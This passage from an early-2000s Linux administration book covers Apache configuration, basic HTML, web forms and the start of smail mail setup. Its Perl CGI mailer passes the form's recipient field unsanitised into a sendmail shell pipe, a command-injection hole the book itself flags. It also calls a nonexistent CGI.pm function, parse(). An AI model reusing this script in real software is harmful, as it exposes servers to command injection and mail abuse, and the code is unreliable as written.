Options Indexes FollowSymLinks

# Allow the local access file, .htaccess, to override any attributes
# listed here
AllowOverride All

# Access restrictions for documents in this directory
<Limit GET>
order allow,deny
allow from all
</Limit>

</Directory>
Here, we turn on the Indexes and FollowSymLinks options for this directory. The AllowOverride option allows the local access file in each directory (.htaccess, set in srm.conf  ) to override any of the attributes given here. The .htaccess file has the same format as the global access.conf but applies only to the directory in which it is located. This way, we can specify attributes for particular directories by including a .htaccess file in those directories instead of listing the attributes in the global file.

The primary use for local access files is to allow individual users to set the access permissions for personal HTML directories (such as ~/public_html) without having to ask the system administrator to modify the global access file. There are security issues associated with this, however. For example, a user might enable access permissions in her own directory such that any browser can run expensive server-side CGI scripts. If you disable the AllowOverride feature, users cannot get around the access attributes specified in the global access.conf. This can be done by using:

AllowOverride None
which effectively disables local .htaccess files.

The <Limit GET> field is used to specify access rules for browsers attempting to retrieve documents from this server. In this case, we specify order allow,deny, which means that allow rules should be evaluated before deny rules. We then instate the rule allow from all, which simply means any host may retrieve documents from the server. If you wish to deny access from a particular machine or domain, you could add the line:

deny from .nuts.com biffnet.biffs-house.us
The first entry denies access from all sites in the nuts.com domain. The second denies access from the site ftp://biffnet.biffs-house.us.

16.1.3.4. Starting httpd

Now you're ready to run httpd, allowing your machine to service HTTP URLs. As mentioned previously, you can run httpd from inetd or as a standalone server. Here, we describe how to run httpd in standalone mode.

All that's required to start httpd is to run the command:

httpd -f configuration-file
where configuration-file is the pathname of httpd.conf. For example:
/usr/sbin/httpd -f /etc/httpd/httpd.conf
starts up httpd, with configuration files found in /etc/httpd.

Watch the httpd error logs (the location of which is given in httpd.conf  ) for any errors that might occur when trying to start up the server or when accessing documents. Remember you must run httpd as root if it is to use a port numbered 1023 or less. Once you have httpd working to your satisfaction, you can start it automatically at boot time by including the appropriate httpd command line in one of your system rc files, such as /etc/rc.d/rc.local.

Modern releases of Apache also provide a utility called apachectl that controls the starting, stopping, reloading, and so on of the httpd process.

Before you can request documents via HTTP from your browser, you'll need to write them. This is the subject of the next section.

16.1.4. Writing HTML Documents

Documents requested by HTTP may be in several forms. These forms include images, PostScript files, sounds, MPEG movies, and so forth. The mime.types configuration file describes the document types that httpd understands.

The most common type of document serviced by HTTP is an HTML file. HTML documents support text, links to other documents, inline images, and so forth. Most documents that you'll see on the Web are written in HTML. A more powerful alternative named XML has been getting a lot of press, but its strength lies in supporting specialized web applications, such as documents maintained in multiple languages and everybody's favorite buzzword--electronic commerce. HTML is sufficient for traditional, standalone pages.

HTML is surprisingly easy to learn. With the tutorial included here, you should be on your way to writing HTML documents and providing information to the Web in less than an hour.

Many tools allow you to convert other markup languages (such as LaTeX, Microsoft RTF, and so forth) to HTML, and vice versa. If you have particularly long documents in another formatting language that you wish to provide on the Web, it might be easier to convert them automatically to HTML or provide a PostScript or DVI image of the documents instead.

The canonical source for HTML information is the URL:

http://www.ncsa.uiuc.edu/General/Internet/www/HTMLPrimer.html
which is a beginner's guide to writing HTML documents. Here, we'll present the essentials of HTML to get you up to speed.

16.1.4.1. HTML basics

If you're used to other formatting languages, such as TeX, HTML appears quite simple in comparison. Here is a minimal HTML document (which to be precise is not exactly correct HTML but something that all browsers understand):

<html>
<head>
<title>Ye Olde Generic HTML Document</title>
</head>
<body>
<h1>Writing HTML for Fun and Profit</h1>

Although writing HTML documents may not be a commmon source
of income, <em>authors</em> tend to bend the rules in this
respect.

<p> The advantage? It's really too easy for words.
</body>
</html>

Within HTML documents, elements are denoted by a <tag>…</tag> pair.[62]

[62]HTML is really a Document Type Definition in Standard Generalized Markup Language (SGML). SGML defines the <tag>…</tag> conventions.

As you can see, we begin the document with a header that contains the line:

<title>Ye Olde Generic HTML Document</title>
which defines the title for this document. In the body that follows is an <h1> element, which is a top-level heading. Under Netscape Navigator for X, the title generally appears in the Document Title window and the heading within the document itself.

All HTML documents should have a title, but headings are, of course, optional. To HTML, a heading is just a portion of text that is set in a larger and/or bolder font. It has no bearing on the actual document structure.

HTML supports six levels of headings:

<h1>First-level heading</h1>
<h2>Second-level heading</h2>
…
<h6>Sixth-level heading</h6>

Following the heading is the body of the document. As you can see, we use the <em> tag to emphasize text:

 ...of income, <em>authors</em> tend to bend the rules in this...

Paragraphs are separated by a <p> tag. HTML ignores blank lines and indentation in the document. Therefore, to skip a line and begin a new paragraph, using <p> is necessary (unlike TeX, for example, which causes paragraph breaks at blank lines).

16.1.4.2. Viewing the document

Before we go much further with HTML, let's describe how to look at your first work of hypertext art. Most web browsers allow you to open a local HTML document and view it. For example, under Navigator, selecting Open Page from the File menu and then clicking Choose File... allows you to view an HTML file. Other browsers, such as Lynx, provide similar mechanisms. You should first save your HTML document in a file (such as sample.html ) and view it with your web browser.

When viewed in Netscape Navigator, our sample document looks like Figure 16-4. As you can see, Navigator does the actual "text formatting" for you; all that is required on your end is to write the document and point your web browser at it.

Figure 16-4. Sample HTML document displayed by Netscape

It's also quite easy to make your new HTML documents available via the Web. Assuming you have configured httpd as described in the previous section, you can place the HTML file in the httpd DocumentRoot directory (in our case, this is /usr/local/httpd/htdocs ).

Therefore, assuming the previous document is saved as /usr/local/httpd/htdocs/sample.html, and httpd is running on your system, anyone can access the document by opening the URL:

http://www.veggie.org/sample.html
with a web browser. (Of course, substituting your own hostname for www.veggie.org.)

Note that you can create directories, symbolic links, and so forth within the DocumentRoot directory. Any HTTP URLs to your system will access filenames that are relative to DocumentRoot. So if we create the directory /usr/local/httpd/htdocs/my-docs and place sample.html there, the corresponding URL is:

http://www.veggie.org/my-docs/sample.html

16.1.4.3. Using links

In order to refer to other documents, or sections within the same document, links are used within the HTML source. For example:

<p> You can find more information about HTML
<a href="http://www.w3.org/MarkUp/"> here </a>.
Within Navigator, this sentence will look like Figure 16-5.

Figure 16-5. Link displayed by Netscape

The word "here" is highlighted, indicating that it is a link. Clicking on the link within Netscape retrieves the document pointed to by the URL:

http://www.w3.org/MarkUp/
The <a> element is known as an anchor ; it specifies a link that is associated with a particular region of text (in this case, the word "here").

The <a> element we used is known as an absolute link. That is, the URL includes the complete machine and pathname specification. For documents on the same machine, you should use relative links, such as:

<p> You can also access the <a href="gardening.html">Vegetable Gardening
    Home Page</a>.
URL names in relative links are relative to the directory in which the current HTML document is located. The type of URL (e.g., http, ftp, and so on) is assumed to be identical to that of the URL of the current document. That is, if the previous text is found within the document:
http://www.veggie.org/my-docs/sample.html
the link points to the URL:
http://www.veggie.org/my-docs/gardening.html

If the filename used in a relative link begins with a slash (/  ), as in:

Click <a href="/info/veggie.html">here</a> for more information.
the URL is assumed to be relative to the DocumentRoot directory. In this case, the URL is equivalent to:
http://www.veggie.org/info/veggie.html

Relative links can also point to the parent directory, as in:

<a href="../plants/plants.html">Here</a> is more about plants.

The use of relative links is important for documents that are related. They allow you to rearrange the directory hierarchy of HTML files without rendering all your links obsolete. However, when accessing unrelated documents on the same system, it might be best to use an absolute link. In this way, the location of your document does not depend on the location of others on the same system.

You can also use links to refer to sections within the same document. For example, the link:

See <a href="#Genetics">below</a> for information on
genetically engineered vegetables.
refers to the location within the current document, tagged as so:
<a name="Genetics">
<h1>Genetically Engineered Vegetables: Our Specialty</h1> </a>
Here, the anchor uses the name attribute, instead of href. In addition, the text within the anchor is the entire heading name. It's not required that you use headings as name anchors, but it usually makes sense to do so when you want to have cross references to other "sections" of the document. For instance, when a user selects the link pointing to this anchor, they will see the section heading:
Genetically Engineered Vegetables: Our Specialty
at the top of the Netscape Navigator document window.

Links can also refer to particular locations within other documents. For example:

<a href="tomatoes.html#Genetics">Here</a> is more information on
our mutated tomatoes.
refers to the section labeled with <a name="Genetics"> in the document tomatoes.html.

As you might guess, you are not limited to making links to other HTML documents. Links can point to image files, sounds, PostScript files, as well as other URL types such as FTP, Gopher, or WAIS services. In short, any valid URL can serve as a link. For example:

Click <a href="ftp://ftp.veggie.org/pub/">here</a> to access our
anonymous FTP archive.
provides a link to the named FTP URL.

16.1.4.4. An aside: MIME types

MIME stands for Multipurpose Internet Mail Extensions. As the named suggests, it was originally developed for electronic mail and is a standard for transporting documents that contain data other than plain printable ASCII text. You can find more information about MIME types at:

http://www.w3.org/TR/REC-html40/ types.html#h-6.7
When you link to images or sounds, the range of valid image and sound types you may use depends on the abilities of the browser. For example, when accessing the URL:
http://www.veggie.org/pics/artichoke.gif
the browser will be responsible for running a separate program to display the image. However, the server providing the image must tell the browser what type of data the incoming image is. This is handled by the mime.types file, in the httpd configuration directory. This file contains lines such as:
image/gif                      gif
image/jpeg                     jpeg jpg jpe
audio/basic                    au snd
application/postscript         ai eps ps
text/html                      html
text/plain                     txt
The first field in each line defines the MIME type name for the document in question. The remaining fields indicate filename extensions that the MIME type corresponds to. In this case, any filenames ending in .gif are treated as image/gif type documents.

When the browser (say, Netscape Navigator) retrieves a document, it also gets information on the MIME type associated with it from the server. In this way, the browser knows how to deal with the document. For text/html documents, Navigator simply formats the HTML source text and displays it in the document window, for image/gif documents, it uses internal image viewing code to display the graphic. For image/png documents, Navigator runs a separate image viewer, such as xv. Similarly, application/postscript documents are viewed using Ghostview on most Unix systems.

How individual MIME types are dealt with is up to the browser. Navigator provides an option that allows you to specify a program to be run to process documents of a particular type.

The srm.conf file can also contain a DefaultType directive, which specifies which MIME type to use when all the other types do not apply. We use:

DefaultType   text/plain
If the server is unable to determine the type of document, it assumes text/plain, which is used for unformatted text files. Netscape displays these text files in a constant-width font in the document window.

16.1.4.5. Embedded images

One of the nicer features provided by HTML is the ability to include images directly in the document. This is accomplished with the <img> element:

<img src="pics/cat.gif">
Tristessa, the Best Cat in the Universe.
This embeds the image pointed to by the relative URL pics/cat.gif in the document, as seen in Figure 16-6. Absolute URLs can be used with <img> as well.

Figure 16-6. Image displayed by Netscape

In theory, the <img> element can be used to embed "any" document into the current one. However, it is most commonly used for small images. The kind of images that can be inline depends on the particular browser. GIF and JPEG images seem to be universally accepted. However, note that not all browsers can display inline images--most notably text-based browsers such as Lynx.

You can also use <img> within an anchor, as in:

<a href="cat.html">
<img src="pics/cat.gif"></a>
Tristessa, the Best Cat in the Universe.

The display won't look any different, but a user who clicks on the picture will be taken to the page cat.html in the same subdirectory as the current page. To make it clear that another page is available, you should probably include both image and text in the anchor. This can be accomplished just by moving the closing </a> tag:

<a href="cat.html">
<img align="center" src="pics/cat.gif" alt="Photo of cat">
Tristessa, the Best Cat in the Universe.
</a>

As a slight aesthetic improvement (and to show that you have control over the placement of items) we centered the text next to the image by specifying align="center". We also conformed to modern accessibility guidelines by providing an alt tag that displays explanatory text for people who can't see the image, such as blind readers or anyone using a text-only browser. The final version of our little page is shown in Figure 16-7.

Figure 16-7. Image and link displayed by Netscape

16.1.4.6. More HTML features

Obviously, you need more than section headings, links, and inline images to write nicely formatted HTML documents. HTML provides many other text-layout features.

A numbered list can be obtained with the <ol> element, using <li> for each item in the list.

Zucchinis have the following nice features:
<ol>
<li> They're green.
<li> They're crunchy.
<li> They taste great in salads.
</ol>
This list appears as shown in Figure 16-8 when formatted by Netscape Navigator.

Figure 16-8. List displayed by Netscape

An unnumbered list can be obtained by using <ul> in place of <ol>. Unnumbered list items are marked with bullets instead of incremental numbers.

Lists can be nested as well. When unnumbered lists are nested, the bullet style usually changes at each level, as in Figure 16-9. The HTML source used to produce this list is:

Here is an example of a nested list.
<ul>
<li> The first item.
<li> The second item.
     <ul>
     <li> The first nested item.
     <li> Another item.
          <ul>
          <li> Yet another level of nesting.
          </ul>
     </ul>
</ul>
The indentation is used strictly to make the source easier to read; feel free to use whatever indentation style you deem appropriate.

Figure 16-9. Nested lists displayed by Netscape

Various types of text emphasis are available. We've already seen <em>, which usually causes words to be placed in italics. Note that how these items are displayed depends entirely on the browser. The most commonly used emphasis tags are:

<em>

Emphasized text, usually rendered as italics

<code>

Program source code, usually rendered in a constant-width font

<samp>

Sample output from a program, also in constant width

<kbd>

User keyboard input

<strong>

For strong emphasis, usually in boldface

Here is an example that uses several of these elements.

<p> <em>Amazing</em>, she thought. The <kbd>find</kbd> command can be
used for almost <strong>anything!</strong>
This is displayed within Navigator as seen in Figure 16-10.

Figure 16-10. Fonts displayed by Netscape

Note that <code>, <samp>, and <kbd> are all usually displayed as a constant-width typewriter font. However, it is important to distinguish between different types of logical emphasis in documents. In this way, we can change the typeface used to display <kbd> items (for example, to a slanted font), but allow <code> and <samp> to remain the same.

HTML also provides the <b>, <i>, and <tt> tags to produce boldface, italic, and constant-width text, respectively, should you wish to specify fonts directly.

The <pre> element allows you to include "preformatted" or "verbatim" text within an HTML document:

The source code for <code>hello.c</code> is as follows.
<pre>
#include &lt;stdio.h&gt;

void main() {
  printf("Hello, world!");
}
</pre>
This text will be displayed as seen in Figure 16-11.

Figure 16-11. Preformatted text displayed by Netscape

Note the use of &lt; to obtain < and &gt; to obtain >. This is necessary because the < and > characters have a special meaning within HTML documents. Even within a <pre> element, substitution is necessary.

Other special characters are available as well, including:

&quot;

To obtain a double-quote: "

&amp;

To obtain an ampersand: &

&eacute;

To obtain an acute-accented e : é

&ouml;

To obtain an o-umlaut: ö

The complete HTML specification, located at:

http://www.w3.org/TR/REC-html40/
lists all the available codes.

You'll often seen a horizontal rule used in HTML documents to visually divide the page. This is obtained with the <hr> element, as so:

All right, I dare you to cross this line: <p><hr>
<p> All right, I dare you to cross this one: <p><hr>

Finally, the <address> element is often used at the end of HTML documents to specify the name and address of the author, or maintainer, of the page. For example:

<p><hr><p>
<address>Mr. P. Head, potatoe@veggie.org</address>

Many people link the name within the <address> item to a personal home page.

16.1.4.7. Finding out more

Within Netscape Navigator, you can view the HTML source for any document on the Web. While viewing the document in question, select the Document Source option from the View menu. This gives you an inside look at how the page was written. The Lynx web browser provides a similar option in the form of the backslash (\) command.

16.1.5. Building Interactive Forms

As mentioned in previous sections, Netscape Navigator and Apache httpd include support for forms, which allow the user to provide input (in the form of text-entry fields, buttons, menus, and so forth) to a script, executed on the server. For example, one form might include a text field for entering a username. Submitting the form causes the server to run a finger script, displaying the output as an HTML document.

The ability to use forms depends on the capabilities of both the browser and httpd server. Not all browsers can view forms, but nowadays most do. Also, not all implementations of httpd understand forms. We suggest using Apache httpd, discussed earlier in this chapter, which provides extensive forms support.

The canonical example of an interactive form is one where users can send electronic mail to the maintainer of the form page. In this section, through the use of this example, we'll demonstrate how to write forms and the server scripts that are executed by the forms. Of course, with a browser that includes a mail client of its own or that can be connected to a mail program, just putting mailto: mail_address into the HTML page would suffice. But a form could also be part of a larger application; for example, you might not only want to send feedback via mail, but also order goods in an online shopping application.

16.1.5.1. The HTML form document

The first step in building a form is to write an HTML document that corresponds to the form itself. These HTML pages contain a <form> element, which in turn contains several other elements denoting buttons, text-entry fields, and so forth.

Here, we present a small cross section of what forms can do. For an extensive example of forms use, see the URL:

http://us.imdb.com
which is a comprehensive database of information on over 30,000 movies, allowing you to search by title, genre, actors, directors, and so forth.

Here is the HTML document for our simple mail form:

1  <title>Ye Olde Generic Mail Form</title>
2  <h1>Send mail to me</h1>
3  <p>You can use this form to send me mail.
4
5  <p><hr><p>
6  <form method="POST" action="/cgi-bin/mailer.pl">
7  <input name="from"> Your email address<p>
8  <input name="subject"> Subject<p>
9  <input type=hidden name="to" value="mdw@veggie.org">
10 <hr>
11 Enter message body below:<br>
12 <hr>
13 <textarea name="body" cols=60 rows=12></textarea><p>
14 <hr>
15 <input type=submit value="Send mail"><p>
16 </form>

When viewed within Netscape Navigator, this form looks like Figure 16-12.

Figure 16-12. Form displayed by Netscape

As you can see, the form uses several additional features of HTML. Let's walk through the file and describe them all.

Line 6 uses the <form> element, which encloses the entire form itself. There are several options, or attributes, associated with the <form> element.

The method attribute specifies the means by which form information is sent to the server script. Valid methods are GET and POST. The GET method passes information as command-line arguments to the server script; the POST method passes information to the script's standard input. This option has bearing only on how you implement your server script; for various reasons, it's strongly suggested that you use the POST method.

The action attribute specifies the URL of the script that this form executes on the server. CGI scripts are usually stored in a directory named cgi-bin that must be specified in the ScriptAlias directive in the srm.conf file.

Here, we specify that the script:

/cgi-bin/mailer.pl
should be executed when the form is submitted. The next section describes how to write this script.

Lines 7-9 use the <input> element. This is the most common element found within a form; it specifies some kind of input item, such as a text field, button, or checkbox. The <input> element has several attributes.

The name attribute specifies a unique string that identifies this element to the server script. The type attribute specifies the type of input element. Its value can be text, radio, checkbox, password, submit, reset, or hidden. If no type is specified (as on lines 7 and 8), text is the default. The value attribute specifies the default value associated with this input item.

Several other attributes for input are also available; these set the maximum length of input for text entry fields, and so forth.

Lines 7 and 8 define input elements named from and subject, both of type text. These text-entry fields are used to enter the sender's email address and the subject of the message.

Line 9 defines a hidden element named to, which sets the email address that mail should be sent to. This is a "trick" that allows us to specify the recipient's email address within the HTML form itself. Otherwise, we'd have to specify the recipient address within the server script (mailer.pl ), which would require each user that wished to use the mail form to have a private copy of the script. This way, any user on the system can use the script, as long as he specifies his own address as the value of the to item. The reasons for this will become clear in the next section, where we discuss the mailer.pl script itself.

On line 13, we use the <textarea> element. This element denotes a multiline text-entry field, with scrollbars on the right and bottom edges. As with <input>, the name attribute names the element. The cols and rows attributes set the size of the textarea.

Note that unlike <input>, the <textarea> element has a corresponding </textarea> end tag on the same line. Any text that appears between <textarea> and </textarea> is the default contents of the entry field.

On line 15, we use another <input> element, of type submit. This defines a button which, when pressed, submits the form and runs the server script associated with it. The value attribute specifies the text of the button as displayed; in this case, it is "Send mail".

Finally, on line 16, we end the form with a </form> end tag.

Multiple forms can be used within a single HTML document; however, you cannot nest one <form> within another. A good book where you can learn about HTML and forms is HTML: The Definitive Guide by Chuck Musciano and Bill Kennedy.

16.1.5.2. Writing the CGI script

Scripts executed by forms use the CGI convention, which specifies how data is passed from the form to the script. At this point, it is not important to understand the details of the CGI specification; however, you should be aware that data is passed to scripts as a set of name/value pairs. For example, given our sample form, let's say the user entered the address:

bsmarks@norelco.com
in the from <input> field. The value bsmarks@norelco.com would then be associated with the name from when passed to the script.

As mentioned previously, the mechanism by which these name/value pairs are passed to the server script depends upon the form method (GET or POST) used. In general, name/value pairs are encoded in the form:

action?name=val&name=val&…
and passed to the server script either on the command line (in the case of GET-method forms) or as standard input (in the case of POST-method forms). In addition, certain characters (such as =, &, and so on) must be escaped. Several environment variables pass certain parameters to the script.

Server scripts can be written in practically any language, such as C, Perl, or even shell scripts. Because decoding the name/value pairs within a C program can be a bit harrowing, we instead show how to implement a script in Perl, in which text-processing facilities are more suited for this task.

The following example is the Perl script mailer.pl. Put this script in the directory you have set aside to hold CGI scripts when you configured the system:

#!/usr/bin/perl

use CGI qw(:standard);

print header(), start_html( "Mail form results" ),\
h1( "Mail form results" );

my $to = parse( "to" );
my $from = parse( "from" );
my $subject = parse( "subject" );
my $body = parse( "body" );

open (MAIL,"|/usr/lib/sendmail $to") ||
  die "<p>Error: Couldn't execute sendmail.\n";

print MAIL "To: $to\n";
print MAIL "From: $from\n";
print MAIL "subject: $subject\n\n";
print MAIL "$body\n";
close MAIL;

print p( "All right, mailed the following to <tt>$to</tt>:" );
print p( "<pre>\nTo: $to\nFrom: $from\nsubject:\
$subject\n\n$body\n</pre>" );
print end_html();

If you're new to Perl, refer to the introduction given in Chapter 13, "Programming Languages". However, you need not be a Perl wizard to follow this code.

This script first loads the module CGI.pm, which has been included in the Perl distribution since Perl 5.004; it will help you a great deal when it comes to writing CGI scripts. We first use its methods header(), ()start_html(), and h1() to write the header, including the crucial line:

Content-type: text/html
which informs the server to watch for the MIME type of data coming from the script, and to start the HTML code. With CGI.pm you do not even need to worry about the HTML syntax!

After printing out those initial lines, we use the routine parse() from CGI.pm, which parses the parameters passed to the CGI script. While this doesn't sound like much, parsing those parameters is actually no small feat, because lots of things have to be taken into consideration. With parse, you simply pass the name of the parameter and get its value back.

The script then opens a pipe to /usr/lib/sendmail in the program that sends the mail message. (If you use a mail handler other than sendmail on your system, this filename should be modified.) We then pass the message to sendmail, prefixing it with an appropriate header containing the To:, From:, and Subject: fields derived from the data given on the form.

Note that there is a security risk here when you are using sendmail like this, because you do not know what is in the $to variable. In addition, the pipe technique is not very portable. In a production system, you would probably use the Perl module Mail::Mailer to send the mail, but since this has nothing to do with CGI scripting in particular, we leave this to your own explorations.

After closing the pipe to sendmail, we print the message as sent to standard output to allow the user to verify that the message was processed correctly. Again, we use the method p() from CGI.pm to output the HTML code. Finally, we use end_html() to correctly close the HTML tags.

Keep in mind that there are always security issues at work when dealing with HTML-based forms. Be certain that your scripts cannot be used to execute unauthorized processes on your system. If your server scripts are CPU-intensive, you might want to limit access to them to prevent heavy system load. In general, be sure that you know what you're doing when providing forms on your web server.

Previous | Home | Next
15.4. NFS and NIS Configuration | Book Index | 16.2. Electronic Mail
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Electronic Mail (Running Linux)

 Running LinuxSearch this book
Previous Next

16.2. Electronic Mail

Electronic mail (email) is one of the most desirable features of a computer system. You can send and receive email on your Linux system locally between users on the host and between hosts on a network. You have to set up three classes of software to provide email service. These are the mail user agent or mailer, the mail transport agent (MTA), and the transport protocol.

The mailer provides the user interface for displaying mail, writing new messages, and filing messages. Linux offers you many choices for mailers. They are always being improved, and a particular mailer may provide certain features, such as the ability to serve as a newsreader or to serve as a web browser.

The mailer relies on the MTA to route mail from one user to another, whether locally or across systems. The MTA in turn uses a transport protocol, usually either UUCP (Unix-to-Unix Copy) or Simple Mail Transport Protocol (SMTP), to provide the medium for mail transfer.

There are a number of possible scenarios when using email on a Linux system, and depending on those scenarios, you will have to install a different set of software packages. However, no matter which option you choose, you will always need a mailer.

The first scenario applies to dial-up access to the Internet via an Internet Service Provider (ISP). In this scenario, there is often only one user on the Linux machine, even though this is not a requirement. The ISP accepts your mail from then Internet and stores it for you on its hard disks. You can then retrieve the mail whenever you want by using the common POP3 (Post Office Protocol) protocol or the newer protocol IMAP. Outgoing mail in this scenario is almost exclusively sent via the protocol SMTP (Simple Mail Transfer Protocol) that is generally used to transport mail over the Internet.

In the easiest case, you use your mailer both to retrieve the mail via POP3 or IMAP and to send it back via SMTP. When you do this, you do not even need to set up an MTA, because the mailer handles everything. This is not terribly flexible, but if all you want is to access your mail easily, this might be an option for you. Mailers that support this include Netscape Messenger (see later) and KMail from KDE.

If you want more flexibility (which comes at the price of more configuration and maintenance work), you can install an MTA (like smail, described in the next section). You will need a program that transports the mail from your provider's POP3 or IMAP server. This program fetches your mail when you ask it to and passes the messages on to the MTA running on your system, which then distributed the mail to the recipients' mail folders. One program that does exactly that is fetchmail, which we will cover later in this chapter. Outgoing mail is again sent via SMTP, but with an MTA running on your machine, you can choose not to send the outgoing messages directly to your provider's SMTP server, but rather to your own server, which is provided by the MTA. The MTA then forwards the mail to your provider, which in turn sends it to the recipients. With this setup, you can instruct your MTA to send outgoing mails at certain intervals only, so that you do not always have to make a dial-up connection.

The third scenario is meant for machines that have a permanent connection to the Internet, either because they are in a network that has a gateway with a permanent connection, or because your machine is using a leased line to your Internet provider. In this case, you might want to receive mail messages as soon as they arrive at your provider and not have them stored there. This also requires setting up an MTA. Incoming mails will be directed to your SMTP server (i.e., your MTA). Your provider will have to set things up accordingly for this to work.

Of course, there are many more scenarios how to get your mail, and mixtures between the three mentioned are possible as well. If you are going to set up a mail service for a whole network, you will most certainly want to read the Linux Network Administrator's Guide as well as sendmail.

You have a number of software choices for setting up email on a Linux host. We can't describe all the available email solutions, but we do describe some packages that are often used and quite suitable for their respective tasks. We document what we think is the most popular Linux solution at this time: the Elm mailer (Version 2.4 at the time of this writing), the Netscape Messenger (Version 4.5), the smail (smail3.1.29) mail transport agent, and the fetchmail implementation of the POP3 and IMAP protocols. These are relatively simple to configure but provide all the features most users need. In addition, with these tools, you can cover all the scenarios described earlier.

16.2.1. The smail Mail Transport Agent

There are two major MTAs available on Linux: smail and sendmail. They both support the SMTP and UUCP protocols for handling mail. The sendmail package has been around for a long time. It is generally considered somewhat more difficult to use than smail, but it is thoroughly documented in the book sendmail, by Costales, Allman, and Rickert. The smail package is reportedly easier to configure and manage than sendmail and is perhaps more robust on systems with limited memory. It is very popular on Linux. We've decided to go with the most popular Linux MTA, smail, and describe its essential configuration and use here. However, if you need to configure a mail host that has many connections and handles lots of mail, you really need sendmail. Recently, other mail transport agents like qmail, exim, and zmailer have become popular as well, but smail (for its easy installation) and sendmail (for demanding requirements) should cover about everything you need.

smail can be invoked in many modes by a specific invocation name that establishes its special uses. For example, smail can be invoked as rmail, and it replaces the original rmail in that function. It also can be invoked as a daemon process (smtpd or in.smtpd ) and replaces other mail utilities, such as mailq. smail is compatible with the sendmail MTA and interfaces satisfactorily with it.

Olaf Kirch's Linux Network Administrator's Guide provides information specific to installing smail on Linux hosts. Also, the smail3 package has an excellent guide to installing and maintaining smail, entitled Smail--Installation and Administration Guide by Karr and Noll. Finally, you should also print out the manual pages for smail, which describe in detail all the configuration files and directories that smail uses.

The smail package is bundled with some Linux distributions. On the distributions that bundle smail, most use the Linux installation script to perform basic configuration of smail as well. One problem with this approach is that you need to periodically update your smail installation, and there is no convenient script to do this unless you reinstall Linux at the same time. Another problem is that some major Linux distributions seem to miss some detail or another in configuring the smail utilities, so that you need to go in and add a file link, edit a resource file, or something of the kind.

But take heart: even though patches are applied and features are added, your same old smail configuration files almost always continue to work just fine. You usually only need to update your binaries to stay up to date.

That's the good news. The bad news is that different distributions of smail install the files in different places. If you grab a set of binaries from an FTP site and install it over your obsolete installation, you might find that you have one version of smail installed in /usr/bin and another in /sbin. Because smail functions, as a number of mail utilities do, through the use of file links, this kind of inconsistency can cause real problems with your installation.

If you build a distribution from scratch, though, you may find that it is a generic installation not tailored for Linux. (However, a generic Unix FTP site is likely to have the full set of documentation that seems to be missing from some of the Linux sites we've checked.)

What can you do? Well, if you take a distribution from a particular FTP site, it might help to stick with that site, even if it means you don't get the latest and greatest update at the earliest possible moment. This works particularly well if the site is a binary distribution site--your configuration files will be left untouched. Or you can just jump in and install updated files and then use find or whereis to sort out tangled up links and duplicated files. In any case, you will likely find that even if your Linux installation script installed and configured smail correctly on your system, you don't like all the selected behaviors. If this is the case, often your best bet is to simply edit the smail configuration file for your system.

16.2.1.1. Getting and installing smail

An excellent FTP site that contains an up-to-date Linux binary distribution (at the time of this writing) is ftp://metalab.unc.edu. The smail package can be found in /pub/Linux/system/mail/mta/smail-linuxbin-3.1.29.1.tar.gz. The specific filename will presumably change with each update to the source files, but the path will probably remain the same.

We should perhaps add that nobody seems to be currently working on smail. It works as it is, but you shouldn't hold your breath waiting for enhancements or bug fixes.

You can also get smail as a source package to compile yourself from the same location. In this case, get the file smail-3.1.29.1.tar.gz.

To install the binary Linux distribution:

  1. FTP the file in binary mode.

  2. Move the file to the Linux root directory as /smail.tar.gz.

  3. Run gunzip on the file, which results in a file named smail.tar.

  4. Execute tar -xvf smail.tar on the file in the root directory. The smail.tar unpacks into a directory tree.

The section "Section 7.1, "Archive and Compression Utilities"" in Chapter 7, "Upgrading Software and the Kernel", tells you all you need to know about gunzip and tar.

If you should run across a package called smailcfg when browsing an FTP site, you might think it is a configuration utility for smail. It isn't; it's a configuration utility for sendmail.

16.2.1.2. Configuring a Linux-installed smail package

Some Linux distributions come with smail already packaged, and smail is installed when you run the Linux installation program. Linux systems typically install the various parts of the smail package to the following directories: /bin, /usr/bin, /usr/lib/smail, and /usr/man/man?. The smail configuration may be stored in /var/lib/smail/config.

Many of the variables smail uses are assigned based on information collected from the Linux configuration. If you installed Linux with TCP/IP, for example, smail will be configured to use SMTP with it. There are some smail variables you still need to set, however. These include:

postmaster

This variable supplies a user ID to serve as postmaster on the local system. The mail administrator on the system is normally the designated postmaster. It is almost a moral obligation of a system on an open network (with links beyond a LAN) to have a designated postmaster. If there is a problem with email on a system, any user (anywhere) should be able to send a message to postmaster@hostname to have it investigated. In the most rudimentary system, the postmaster can be the root user, but it is preferable for the postmaster to be assigned to an ordinary user ID. (Some systems set up a "phony" account for the postmaster, so the duties can be rotated.)

smart_path

This is an important variable to set, especially when you are a fledgling mail host. smart_path should be the name of the "smart host" to which your system routes all mail that it doesn't already know how to deliver. In the simplest setup, anything that isn't local mail is routed to the smart_path host you specify. If you have a connection to an Internet host, it should be your smart host.

visible_name

This variable specifies a name smail uses as the return address for all mail sent by your host. For example, if your full hostname is deus.x-machina.org, you might prefer the visible name to be x-machina.org. A user on the host deus would have her From address set to user@x-machina.org instead of user@deus.x-machina.org. This is especially useful if there are several hosts that users on the local network have accounts on, or if names of specific host systems in the domain change.

smart_user

The smart_user isn't necessarily a user. You can leave smart_user with no value assigned, in which case any mail that cannot be delivered will be bounced (returned to sender). If you assign a user ID to smart_user, improperly addressed mail sent to your system will be forwarded to the smart_user. Often, smart_user is the same user as postmaster, but for a small system, it is probably best to bounce the mail. smart_user is intended to allow manual rerouting of mail when a user moves, loses an account, and so on. It has little use on a system with few users.

There are additional variables that you can set. The online manual page describes them all in its discussion of the config file. Your distribution might not contain the documents in printable form, but you should print your own if you need to, by entering one of the following commands. (The first generates plain text for every printer; the second assumes you have configured ghostscript to drive your specific printer by default):

$ man 5 smail | col -b | lpr
$ gtroff -man /usr/man/man5/smail.5 | ghostscript | lpr

There has been a configuration script floating around some distributions (look for /usr/lib/smail/tools.linux/config ), but on the other hand, all you really need is smail(5) and your trusty ASCII editor to fix up your smail configuration files. (Though we would also use the Linux Network Administrator's Guide and the Smail--Installation and Administration Guide.)

16.2.1.3. Configuring smail

Fortunately, smail default values for the Linux smail distribution are decent, and the mkconfig script largely automates the remaining smail installation issues. With any luck you can accept all default values and just run smail "out of the box."

Look for a README text file in the current distribution. You should begin by reading this file if it exists. On a typical Linux distribution of smail, the README file is found in /usr/lib/smail/linux.tools/README. The README file describes the release and provides any special notes and general instructions for installing and configuring the current version of the software. If your distribution does not have a README file for smail, you will have to make do with the manual pages, which should give you all the information you need.

